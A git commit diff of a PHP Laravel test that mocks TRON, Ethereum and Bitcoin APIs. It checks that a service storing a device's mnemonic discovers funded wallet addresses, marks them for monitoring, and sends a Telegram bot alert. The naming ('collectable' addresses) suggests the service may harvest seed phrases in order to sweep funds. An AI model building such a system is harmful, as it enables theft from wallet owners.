fix: link memo

This commit is contained in:
hashbro
2026-09-13 17:17:34 +08:00
parent bca2eb4602
commit b49755c900
17 changed files with 751 additions and 202 deletions
+29 -4
View File
@@ -132,13 +132,28 @@ class CollectableAddressNotifyTest extends TestCase
return Http::response(['ok' => true], 200);
}
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 5_000_000], 200);
$addr = (string) ($request->data()['address'] ?? '');
if ($addr === self::TRON_0) {
return Http::response([
'address' => $addr,
'create_time' => 1,
'balance' => 5_000_000,
], 200);
}
return Http::response([], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => [dechex(2_000_000)]], 200);
}
if (str_contains($url, 'ethereum.example')) {
$method = $request->data()['method'] ?? '';
$data = $request->data();
$method = $data['method'] ?? '';
$target = strtolower((string) ($data['params'][0] ?? ''));
$hit = $target === self::ETH_0;
if ($method === 'eth_getTransactionCount') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => $hit ? '0x1' : '0x0'], 200);
}
if ($method === 'eth_getBalance') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
@@ -147,8 +162,14 @@ class CollectableAddressNotifyTest extends TestCase
}
}
if (str_contains($url, 'mempool.example')) {
$activated = str_contains($url, self::BTC_0);
return Http::response([
'chain_stats' => ['funded_txo_sum' => 100_000, 'spent_txo_sum' => 0],
'chain_stats' => [
'tx_count' => $activated ? 1 : 0,
'funded_txo_count' => $activated ? 1 : 0,
'funded_txo_sum' => $activated ? 100_000 : 0,
'spent_txo_sum' => 0,
],
], 200);
}
@@ -158,7 +179,11 @@ class CollectableAddressNotifyTest extends TestCase
$device = Device::query()->create(['device_id' => 'dev-collect-derive']);
$mnemonic = $this->storeMnemonic($device);
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverIndexZero($mnemonic));
$this->assertSame(3, app(MnemonicWalletDiscovery::class)->discoverActivated($mnemonic));
$this->assertSame(
[1, 1, 1],
WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->orderBy('id')->pluck('monitor')->all()
);
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {